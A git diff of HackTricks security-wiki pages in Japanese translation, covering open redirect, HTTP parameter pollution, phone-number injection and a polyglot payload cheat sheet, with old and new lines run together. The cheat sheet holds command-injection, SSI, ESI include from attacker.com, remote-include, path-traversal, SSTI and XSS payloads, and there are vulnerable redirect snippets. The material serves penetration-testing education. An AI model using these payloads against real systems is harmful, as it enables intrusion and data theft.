By manipulating these parameters in the application's URLs, an attacker can redirect users to malicious sites without their knowledge. It is important for developers to validate and sanitize user input to prevent open redirect attacks.
``` ```
/{payload} /{payload}
?next={payload} ?next={payload}
@ -170,32 +167,32 @@ response.redirect("~/mysafe-subdomain/login.aspx")
``` ```
### Java ### Java
#### Open Redirect #### オープンリダイレクト
An open redirect occurs when a web application redirects to a user-supplied link without proper validation. Attackers can exploit this vulnerability to redirect users to malicious websites to perform phishing attacks or distribute malware. オープンリダイレクトは、攻撃者が悪意のあるサイトにユーザーをリダイレクトするために悪用できる脆弱性です。攻撃者はリンクを送信し、ユーザーを騙して信頼されたサイトに見せかけることができます。ユーザーがリンクをクリックすると、オープンリダイレクトが発生し、攻撃者のコントロール下にあるサイトにリダイレクトされます。これにより、攻撃者はユーザーをフィッシングサイトやマルウェアに誘導することができます。
##### Example
Consider the following vulnerable Java code snippet:
```java
String redirectUrl = request.getParameter("redirect_url");
response.sendRedirect(redirectUrl);
```
In this code, the application blindly redirects users to the URL supplied via the `redirect_url` parameter without any validation. An attacker can craft a malicious URL like `http://malicious-website.com` and trick users into visiting it.
##### Prevention
To prevent open redirect vulnerabilities in Java applications, always validate and sanitize user input before using it in redirect functions. Whitelist allowed URLs or domains to restrict redirection to trusted sources only.
```bash ```bash
response.redirect("http://mysafedomain.com"); response.redirect("http://mysafedomain.com");
``` ```
### PHP ### PHP
#### オープンリダイレクト #### Open Redirect
オープンリダイレクトは、攻撃者が悪意のあるサイトにユーザーをリダイレクトするために悪用できる脆弱性です。攻撃者はリンクをクリックするようにユーザーを誘導し、信頼されたサイトに見せかけて悪意のあるサイトにリダイレクトします。これにより、ユーザーは機密情報を入力するように騙される可能性があります。 An open redirect vulnerability exists when a web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Attackers can abuse this vulnerability to trick users into visiting malicious sites by disguising the malicious URL as a trustworthy one.
#### Example
```php
<?php
$redirect_url = $_GET['url'];
header('Location: ' . $redirect_url);
?>
```
In this example, the PHP script takes a URL from the `url` parameter in the query string and redirects the user to that URL using the `header()` function. An attacker can craft a malicious URL like `http://example.com/redirect.php?url=http://malicioussite.com` to redirect users to a malicious site.
#### Prevention
To prevent open redirect vulnerabilities, always validate and sanitize user input before using it in a redirect. Whitelist allowed domains or use a list of safe URLs to compare against. Additionally, avoid using user-controlled input directly in the redirect mechanism.
```php ```php
<?php <?php
/* browser redirections*/ /* browser redirections*/
@ -209,8 +206,8 @@ exit;
# リソース # リソース
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) にファジングリストがあります。 * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) にファジングリストがあります。\
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) * [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) * [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) * [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
@ -222,9 +219,9 @@ exit;
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れ * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する
</details> </details>

View file

@ -6,34 +6,33 @@
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@carlospolopm**をフォローする。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>
# HTTPパラメータ汚染HPP概要 # HTTPパラメータ汚染HPP概要
HTTPパラメータ汚染HPPは、攻撃者がHTTPパラメータを操作してWebアプリケーションの動作を意図しない方法で変更する技術です。この操作は、HTTPパラメータを追加、変更、または複製することによって行われます。これらの操作の影響はユーザーに直接は見えませんが、サーバーサイドでアプリケーションの機能を大幅に変更し、クライアントサイドにも影響を与える可能性があります。 HTTPパラメータ汚染HPPは、攻撃者がHTTPパラメータを操作してWebアプリケーションの動作を意図しない方法で変更する技術です。この操作は、HTTPパラメータを追加、変更、または複製することによって行われます。これらの操作の影響はユーザーに直接は見えませんが、サーバーサイドでアプリケーションの機能を大幅に変更し、クライアントサイドにも影響を与える可能性があります。
## HTTPパラメータ汚染HPPの例 ## HTTPパラメータ汚染HPPの例
銀行アプリケーションの取引URL 銀行アプリケーションのトランザクションURL
- **元のURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000` - **元のURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
追加の `from` パラメータを挿入すること 追加の `from` パラメータを挿入することにより
- **操作されたURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC` - **操作されたURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
取引が `accountA` の代わりに誤って `accountC` に請求される可能性があり、HPPが取引やパスワードリセット、2FA設定、またはAPIキーのリクエストなどの機能を操作する可能性を示しています。 トランザクションは `accountA` の代わりに `accountC` に誤って請求される可能性があり、HPPがトランザクションやパスワードリセット、2FA設定、APIキー要求などの機能を操作する可能性を示しています。
### **技術固有のパラメータ解析** ### **技術固有のパラメータ解析**
- パラメータが解析および優先される方法は、基礎となるWeb技術に依存し、HPPの悪用方法に影響を与えます。 - パラメータの解析と優先順位付け方法は、基礎となるWeb技術に依存し、HPPの悪用方法に影響を与えます。
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)のようなツールは、これらの技術とその解析動作を特定するのに役立ちます。 - [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)のようなツールは、これらの技術とその解析動作を特定するのに役立ちます。
## PHPとHPPの悪用 ## PHPとHPPの悪用
@ -41,28 +40,28 @@ HTTPパラメータ汚染HPPは、攻撃者がHTTPパラメータを操作
**OTP操作のケース:** **OTP操作のケース:**
- **コンテキスト:** OTPを必要とするログインメカニズムが悪用されました。 - **コンテキスト:** OTPを必要とするログインメカニズムが悪用されました。
- **方法:** Burp Suiteなどのツールを使用してOTPリクエストを傍受し、HTTPリクエスト `email` パラメータを複製しました。 - **方法:** Burp Suiteなどのツールを使用してOTPリクエストを傍受し、HTTPリクエスト内の `email` パラメータを複製しました。
- **結果:** 初期のメール用に意図されたOTPが、操作されたリクエストで指定された2番目のメールアドレスに送信されました。この欠陥により、意図されたセキュリティ対策を回避して、不正アクセスが可能となりました。 - **結果:** 初期のメールアドレス用に意図されたOTPが、操作されたリクエストで指定された2番目のメールアドレスに送信されました。この欠陥により、意図されたセキュリティ対策を回避して、不正アクセスが可能となりました。
このシナリオは、最初の `email` パラメータをOTP生成に処理し、最後のパラメータを配信に使用したアプリケーションのバックエンドでの重大な見落としを示しています このシナリオは、OTP生成のために最初の `email` パラメータを処理したアプリケーションのバックエンドで重大な見落としが示されていますが、配信には最後の `email` パラメータが使用されました
**APIキー操作のケース:** **APIキー操作のケース:**
- **シナリオ:** アプリケーションがユーザーにプロファイル設定ページを介してAPIキーを更新することを許可しています。 - **シナリオ:** アプリケーションがユーザーにAPIキーをプロファイル設定ページを介して更新する機能を提供しています。
- **攻撃ベクトル:** 攻撃者が、POSTリクエストに追加の `api_key` パラメータを追加することで、APIキー更新機能の結果を操作できることを発見しました。 - **攻撃ベクトル:** 攻撃者が、POSTリクエストに追加の `api_key` パラメータを追加することで、APIキー更新機能の結果を操作できることを発見しました。
- **手法:** Burp Suiteのようなツールを使用して、攻撃者はリクエストを作成しました。このリクエストには2つの `api_key` パラメータが含まれており、1つは正当で、もう1つは悪意を持っています。サーバーは最後の出現のみを処理し、APIキーを攻撃者が提供した値に更新します。 - **手法:** Burp Suiteのようなツールを使用して、攻撃者はリクエストを作成し、2つの `api_key` パラメータを含めます1つは正当であり、もう1つは悪意を持っています。サーバーは最後の出現のみを処理し、APIキーを攻撃者が提供した値に更新します。
- **結果:** 攻撃者は被害者のAPI機能を制御し、権限なくプライベートデータにアクセスしたり変更したりする可能性があります。 - **結果:** 攻撃者は被害者のAPI機能を制御し、権限なくプライベートデータにアクセスしたり変更したりする可能性があります。
この例は、特にAPIキー管理などの重要な機能での安全なパラメータ処理の必要性をさらに強調しています。 この例は、特にAPIキー管理などの重要な機能でセキュアなパラメータ処理の必要性を強調しています。
## パラメータ解析: Flask vs. PHP ## パラメータ解析: Flask vs. PHP
Web技術が重複するHTTPパラメータを処理する方法は異なり、HPP攻撃への脆弱性に影響します Web技術が重複するHTTPパラメータを処理する方法は異なり、HPP攻撃への脆弱性に影響します
- **Flask:** クエリ文字列 `a=1&a=2` で最初に遭遇したパラメータ値を採用し、初期のインスタンスを後続の重複より優先します。 - **Flask:** クエリ文字列 `a=1&a=2` で最初に遭遇したパラメータ値を採用し、初期のインスタンスを後続の重複より優先します。
- **PHPApache HTTP Server上:** 逆に、与えられた例では `a=2` を選択し、最後のパラメータ値を優先します。この動作は、攻撃者の操作されたパラメータを元のパラメータよりも優先することで、意図しないHPP攻撃を間接的に容易にする可能性があります。 - **PHPApache HTTP Server上:** 逆に、与えられた例では `a=2` を選択し、最後のパラメータ値を優先します。この動作は、攻撃者の操作されたパラメータを元のパラメータよりも優先することで、HPPの悪用を誤って容易にする可能性があります。
# 参考文献 ## 参考文献
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654) * [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution) * [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
@ -72,11 +71,10 @@ Web技術が重複するHTTPパラメータを処理する方法は異なり、H
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@carlospolopm**をフォローする。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>

View file

@ -6,15 +6,15 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
電話番号の末尾に**文字列を追加**することで、一般的なインジェクションXSS、SQLi、SSRFなどを悪用したり、保護をバイパスしたりすることができます **電話番号の末尾に文字列を追加**することで、一般的なインジェクションXSS、SQLi、SSRFなどを悪用したり、保護をバイパスしたりすることができます
<figure><img src="../.gitbook/assets/image (29).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (29).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
@ -34,10 +34,10 @@ HackTricksをサポートする他の方法
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>

View file

@ -1,30 +1,30 @@
# 反映技術 - PoCsとポリグロットチートシート # 反射技術 - PoCsとPolygloths チートシート
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary> <summary><strong>**ゼロからヒーローまでのAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください**。 * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
これらのPoCsとポリグロットの目的は、テスターが**入力が何らかの形でレスポンスに反映されている場合**に利用できる脆弱性の**概要**を迅速に提供することです。 これらのPoCsとPolyglothsの目的は、テスターに、**入力がレスポンスに反映される場合に悪用できる脆弱性の簡単な** **概要**を提供することです。
{% hint style="warning" %} {% hint style="warning" %}
この**チートシートは、各脆弱性に対する包括的なテストリストを提案するものではありません**。基本的なものだけです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。 この **チートシートには各脆弱性の包括的なテストリストは提案されていません**。基本的なものだけです。より包括的なテストをお探しの場合は、提案された各脆弱性にアクセスしてください。
{% endhint %} {% endhint %}
{% hint style="danger" %} {% hint style="danger" %}
ここでは、通常、xmlデータを送信するリクエストを見つけた場合に自分で試すであろうXXEのようなContent-Type依存のインジェクションは**見つかりません**。また、コンテンツが反映される可能性があっても、バックエンドのDB技術と構造に大きく依存するため、**データベースインジェクションも見つかりません** **XXEのようなContent-Typeに依存するインジェクション**は見つけることができません。通常、XMLデータを送信するリクエストを見つけた場合は、自分で試すことになります。また、ここでは **データベースインジェクション** も見つけることができません。一部のコンテンツが反映される場合でも、バックエンドのDB技術と構造に大きく依存します。
{% endhint %} {% endhint %}
## ポリグロットリスト ## Polygloths リスト
```python ```python
{{7*7}}[7*7] {{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -77,7 +77,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
``` ```
## [コマンドインジェクション](../command-injection.md) ## [コマンドインジェクション](../command-injection.md)
### 基本的なテスト ### 基本テスト
```bash ```bash
;ls ;ls
||ls; ||ls;
@ -88,7 +88,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
`ls` `ls`
$(ls) $(ls)
``` ```
### ポリグロッ ### ポリグロッ
```bash ```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
@ -123,9 +123,9 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php
``` ```
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/) ## [オープンリダイレクト](../open-redirect.md) / [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/)
### 基本テスト ### 基本的なテスト
```bash ```bash
www.whitelisted.com www.whitelisted.com
www.whitelisted.com.evil.com www.whitelisted.com.evil.com
@ -143,22 +143,22 @@ javascript:alert(1)
``` ```
## [サーバーサイドインクルージョン/エッジサイドインクルージョン](../server-side-inclusion-edge-side-inclusion-injection.md) ## [サーバーサイドインクルージョン/エッジサイドインクルージョン](../server-side-inclusion-edge-side-inclusion-injection.md)
### 基本的なテスト ### 基本テスト
```markup ```markup
<!--#echo var="DATE_LOCAL" --> <!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" --> <!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/> <esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
``` ```
### ポリグロッ ### ポリグロッ
```markup ```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
``` ```
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/) ## [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/)
Open Redirectに使用される同じテストがここでも使用できます。 オープンリダイレクトに使用されるテストと同じものがここでも使用できます。
## [Server Side Template Injection](../ssti-server-side-template-injection/) ## [サーバーサイドテンプレートインジェクション](../ssti-server-side-template-injection/)
### 基本的なテスト ### 基本的なテスト
```markup ```markup
@ -173,7 +173,7 @@ ${{7*7}}
```python ```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
``` ```
## [XSLT サーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) ## [XSLTサーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### 基本テスト ### 基本テスト
```markup ```markup
@ -186,13 +186,13 @@ ${{7*7}}
``` ```
## XSS ## XSS
### 基本的なテスト ### 基本テスト
```markup ```markup
" onclick=alert() a=" " onclick=alert() a="
'"><img src=x onerror=alert(1) /> '"><img src=x onerror=alert(1) />
javascript:alert() javascript:alert()
``` ```
### ポリグロッ ### ポリグロッ
```markup ```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//> javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``> -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
@ -222,14 +222,14 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
``` ```
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
